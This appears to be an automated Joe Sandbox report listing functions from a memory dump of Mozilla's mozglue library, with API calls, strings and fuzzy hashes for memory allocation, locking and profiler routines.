Opcode Fuzzy Hash: 26a28a5a066e93eab592a513c5801690cde02bff7e771f76d262cf0d57fb202a
Instruction Fuzzy Hash: FB213771A002059BDB008F69DC44BBEBBB9FF4A304F284129E819DB381E732D955D7B0

Function 6CAEB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CAEB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CAEB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CAEB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAEB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEB849

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 43f083f753bc377f264eaf7b4b2b76c785ff8fe5410e112e80fd98b5a027081d
Instruction ID: ff957b4b39f0f660178a0d7cba262cb4aa9f7ef32dcaede887ce7872a9e06fc5
Opcode Fuzzy Hash: 43f083f753bc377f264eaf7b4b2b76c785ff8fe5410e112e80fd98b5a027081d
Instruction Fuzzy Hash: 25212DB0E002499FDF04DFA9D8895BEBBB8EF49214F148129E845A7341E731A984CBE1

Function 6CB46E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB46E78

Part of subcall function 6CB46A10: InitializeCriticalSection.KERNEL32(6CB6F618), ref: 6CB46A68
Part of subcall function 6CB46A10: GetCurrentProcess.KERNEL32 ref: 6CB46A7D
Part of subcall function 6CB46A10: GetCurrentProcess.KERNEL32 ref: 6CB46AA1
Part of subcall function 6CB46A10: EnterCriticalSection.KERNEL32(6CB6F618), ref: 6CB46AAE
Part of subcall function 6CB46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB46AE1
Part of subcall function 6CB46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB46B15
Part of subcall function 6CB46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CB46B65
Part of subcall function 6CB46A10: LeaveCriticalSection.KERNEL32(6CB6F618,?,?), ref: 6CB46B83

MozFormatCodeAddress.MOZGLUE ref: 6CB46EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB46EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB46EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CB46EFF

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 3049da50b0f7b69770162bd7a1c1eb22eaa0b99489940935e14f05b1b99877e8
Instruction ID: d8c91b28a0960edca22ab5006ced7ffe1ec25cae02f74e5f5ea8efe7bf148a4a
Opcode Fuzzy Hash: 3049da50b0f7b69770162bd7a1c1eb22eaa0b99489940935e14f05b1b99877e8
Instruction Fuzzy Hash: C021A471A082599FDF00CF69D8856EE77F9EF84308F048039E84997355DB709A598F92

Function 6CB476C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB476F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB47705

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB47717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB4778F,00000000,00000000,00000000,00000000), ref: 6CB47731
free.MOZGLUE(00000000), ref: 6CB47760

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: c24a13c84288a9daedae2087d6882f51121876afbeb95946ad0b517a55770e35
Instruction ID: b47506d02f39f498796e9a4b027a1da8cc95ca54486901fcd281409485b88367
Opcode Fuzzy Hash: c24a13c84288a9daedae2087d6882f51121876afbeb95946ad0b517a55770e35
Instruction Fuzzy Hash: B811C4B19042656BEB10AF76CC44BABBEF8EF55354F144529F888E7300E7719844CBE2

Function 6CB20D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAE3DEF), ref: 6CB20D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAE3DEF), ref: 6CB20D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAE3DEF), ref: 6CB20DAF

Strings

<jemalloc>, xrefs: 6CB20D92, 6CB20DB9
: (malloc) Error in VirtualFree(), xrefs: 6CB20D97, 6CB20DBE

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: e377a52d607ff1d76e0f6ad2591177963ff2829f7a83fe7d811c548e8d5cf7e6
Instruction ID: 0800bbe19eaa9d30473e67e2a61c521a368695607a1733e68d5224021947afb6
Opcode Fuzzy Hash: e377a52d607ff1d76e0f6ad2591177963ff2829f7a83fe7d811c548e8d5cf7e6
Instruction Fuzzy Hash: BFF0E0313D16E423D7145177AC2DB7A266DA7C2B55F344035FA08DBDC0DA58E8015795

Function 6CB37620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB375C4,?), ref: 6CB3762B

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB374D7,6CB415FC,?,?,?), ref: 6CB37644
GetCurrentThreadId.KERNEL32 ref: 6CB3765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB374D7,6CB415FC,?,?,?), ref: 6CB37663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB374D7,6CB415FC,?,?,?), ref: 6CB37677

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 231f7a6b3bd754f61c49ec5f8bc8ea4722ef635c4a1281809ffff5b75f23823f
Instruction ID: 27c5ce69894644a084d034e5fe6866b874b788a828ec13a33117b654299d3b11
Opcode Fuzzy Hash: 231f7a6b3bd754f61c49ec5f8bc8ea4722ef635c4a1281809ffff5b75f23823f
Instruction Fuzzy Hash: 7EF0C272E10745ABD7009F22C888676B778FFEA259F114316F90447641E7B0A5D18BD0

Function 6CB41700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB41800

Part of subcall function 6CB1CBE8: GetCurrentProcess.KERNEL32(?,6CAE31A7), ref: 6CB1CBF1
Part of subcall function 6CB1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAE31A7), ref: 6CB1CBFA

Part of subcall function 6CAE4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB23EBD,6CB23EBD,00000000), ref: 6CAE42A9

Strings

Details, xrefs: 6CB41925
{marker.name} - {marker.data.name}, xrefs: 6CB418C7
name, xrefs: 6CB41939

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 1b9b12269a7d60da5e36ef03ff40044a724ae9fcfad6cb24aeaa9c6612b4e43e
Instruction ID: 6cb7877fbb2af59654ec65dd2b16b94289603175114bdbca09208078c93f7e68
Opcode Fuzzy Hash: 1b9b12269a7d60da5e36ef03ff40044a724ae9fcfad6cb24aeaa9c6612b4e43e
Instruction Fuzzy Hash: 0B7113B0A043869FC704DF29D4547AEBBB1FF89314F044669D8154BB41DB30EAA8CBE2

Function 6CB4B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CB4B0A6,6CB4B0A6,?,6CB4AF67,?,00000010,?,6CB4AF67,?,00000010,00000000,?,?,6CB4AB1F), ref: 6CB4B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CB4B0A6,6CB4B0A6,?,6CB4AF67,?,00000010,?,6CB4AF67,?,00000010,00000000,?), ref: 6CB4B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CB4B0A6,6CB4B0A6,?,6CB4AF67,?,00000010,?,6CB4AF67,?,00000010), ref: 6CB4B25F

Strings

map/set<T> too long, xrefs: 6CB4B1FA

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: b24d2e65a8c6c45a07c42055670c71fa25c507e0bd244721d103ce73096eaad4
Instruction ID: 5a2e75ad240547504fa177c2c843080321f0eb5eba03b8b6c0d7c35687c21047
Opcode Fuzzy Hash: b24d2e65a8c6c45a07c42055670c71fa25c507e0bd244721d103ce73096eaad4
Instruction Fuzzy Hash: 70618A74608685CFD701CF19C884A9ABBF2FF4A318F18C599D9598BB56C331EC45CB92

Function 6CB0D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB1CBE8: GetCurrentProcess.KERNEL32(?,6CAE31A7), ref: 6CB1CBF1
Part of subcall function 6CB1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAE31A7), ref: 6CB1CBFA

EnterCriticalSection.KERNEL32(6CB6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB1D1C5), ref: 6CB0D4F2
LeaveCriticalSection.KERNEL32(6CB6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB1D1C5), ref: 6CB0D50B

Part of subcall function 6CAECFE0: EnterCriticalSection.KERNEL32(6CB6E784), ref: 6CAECFF6
Part of subcall function 6CAECFE0: LeaveCriticalSection.KERNEL32(6CB6E784), ref: 6CAED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB1D1C5), ref: 6CB0D52E
EnterCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB0D690
LeaveCriticalSection.KERNEL32(6CB6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB1D1C5), ref: 6CB0D751

Strings

MOZ_CRASH(), xrefs: 6CB0D4BB

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: a36a56e0b54ff149d51ec6d50269b9cdf9e7a996045eb53818c01f75a9e1fd13
Instruction ID: 78b915ba1470a397d1cb691f636cbc0bf7d7cb5ce5f79895ba3043e0eddc798f
Opcode Fuzzy Hash: a36a56e0b54ff149d51ec6d50269b9cdf9e7a996045eb53818c01f75a9e1fd13
Instruction Fuzzy Hash: 8151BF71B087858FD314CF29C59472ABBE5EB89314F144A2EE5A9C7F84D770A800CB92

Function 6CB34630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB34721

Strings

-%llu, xrefs: 6CB34733
., xrefs: 6CB3476A
profiler-paused, xrefs: 6CB346E4

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 4e6eb453c390c3ce6705258557f6a5d76bdb359dbbe6a8598dc33ff64127d4f9
Instruction ID: 2e18b747c33a50aa42d00700c6e154ea3183234bbaa5cfdf1403c8104022f4bc
Opcode Fuzzy Hash: 4e6eb453c390c3ce6705258557f6a5d76bdb359dbbe6a8598dc33ff64127d4f9
Instruction Fuzzy Hash: B9414671F046989BCB08DF79E85116EBBE5EF85744F10863DE8499BB81EB3198448B82

Function 6CB59830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB5985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB5987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CB598DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CB598D9

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 5a4f7c72e61075d44491150cd0bb652cb394546421eedf023115bf4b93b12558
Instruction ID: 0eb658810a234e5e5af3714f2e72d7d26204692a3b2366410d3d3ce9b1408b80
Opcode Fuzzy Hash: 5a4f7c72e61075d44491150cd0bb652cb394546421eedf023115bf4b93b12558
Instruction Fuzzy Hash: B03135B1B041489FDB04AF5ADC04AEF77A9DF88358F40803DEA0A9BB40DB3069158BE1

Function 6CB346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB34721

Part of subcall function 6CAE4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB23EBD,00000017,?,00000000,?,6CB23EBD,?,?,6CAE42D2), ref: 6CAE4444

Strings

-%llu, xrefs: 6CB34733
., xrefs: 6CB3476A
profiler-paused, xrefs: 6CB346E4

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 047cb269f468a04dc18e1cbd937159856404dcbcb2e19b745ec2a4aa946f4eab
Instruction ID: 29ec90d983fb4368a16b00947cc4792e17ec277e8f5a19cecf1329b478001022
Opcode Fuzzy Hash: 047cb269f468a04dc18e1cbd937159856404dcbcb2e19b745ec2a4aa946f4eab
Instruction Fuzzy Hash: 6C314B71F042589BCB0CCFADD8956AEBFE6DB98314F14413DE8099BB81EB719C048B91

Function 6CB3B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAE4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB23EBD,6CB23EBD,00000000), ref: 6CAE42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB3B127), ref: 6CB3B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB3B4E4

Strings

pid:, xrefs: 6CB3B4DE

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: c2349d471b2bfc1bf7597c4a91b10c518d8cc29b44727c1957a722702969a22e
Instruction ID: 678f0870198144a6177823efb3c79be1f845cc24ba76f9b0d57b6ff2a11f6577
Opcode Fuzzy Hash: c2349d471b2bfc1bf7597c4a91b10c518d8cc29b44727c1957a722702969a22e
Instruction Fuzzy Hash: C6317931A016A8CFCB00DFAAD880AEEB7B5FF04318F141529D85967B44D731E849CBE2

Function 6CB2E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2E577
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2E584
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CB2E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB2E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CB2E5A1, 6CB2E5CC, 6CB2E5FF, 6CB2E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB2E722, 6CB2E750, 6CB2E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB2E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB2E826, 6CB2E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB2E655

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 80bfe0a52203f8f0ee5bd48bd4df8c20b9d95b9d243be507447755cf19404b69
Instruction ID: 000d0aa7c1eb58130d1c275fdb2607686852d3ddd5716c4717699de408314369
Opcode Fuzzy Hash: 80bfe0a52203f8f0ee5bd48bd4df8c20b9d95b9d243be507447755cf19404b69
Instruction Fuzzy Hash: 37118E31604298DFCB009F26C848B7EBBB8FB89329F000619E8854BF90C774A805CF91

Function 6CB30C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB30CD5

Part of subcall function 6CB1F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB1F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB30D40
free.MOZGLUE ref: 6CB30DCB

Part of subcall function 6CB05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB05EDB
Part of subcall function 6CB05E90: memset.VCRUNTIME140(6CB47765,000000E5,55CCCCCC), ref: 6CB05F27
Part of subcall function 6CB05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB05FB2

free.MOZGLUE ref: 6CB30DDD
free.MOZGLUE ref: 6CB30DF2

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: c208d4cb58bd264e4d36e0d1327d600ca265462ddc900d4bc717bb302592e9a8
Instruction ID: 19f02935e0c73a3c1b1ce6b4417232eba79b9bbdbb70b54ed885b6c7a65dbe7d
Opcode Fuzzy Hash: c208d4cb58bd264e4d36e0d1327d600ca265462ddc900d4bc717bb302592e9a8
Instruction Fuzzy Hash: 7E4108719187A48BD321CF29D04079EFBE5FFC9614F509A2EE8D887B50D7709448CB82

Function 6CB3CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB2DA31,00100000,?,?,00000000,?), ref: 6CB3CDA4

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

Part of subcall function 6CB3D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB3CDBA,00100000,?,00000000,?,6CB2DA31,00100000,?,?,00000000,?), ref: 6CB3D158
Part of subcall function 6CB3D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB3CDBA,00100000,?,00000000,?,6CB2DA31,00100000,?,?,00000000,?), ref: 6CB3D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB2DA31,00100000,?,?,00000000,?), ref: 6CB3CDC4

Part of subcall function 6CB37480: ReleaseSRWLockExclusive.KERNEL32(?,6CB415FC,?,?,?,?,6CB415FC,?), ref: 6CB374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB2DA31,00100000,?,?,00000000,?), ref: 6CB3CECC

Part of subcall function 6CAFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CAFCAA2

Part of subcall function 6CB2CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB3CEEA,?,?,?,?,00000000,?,6CB2DA31,00100000,?,?,00000000), ref: 6CB2CB57
Part of subcall function 6CB2CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB2CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB3CEEA,?,?), ref: 6CB2CBAF

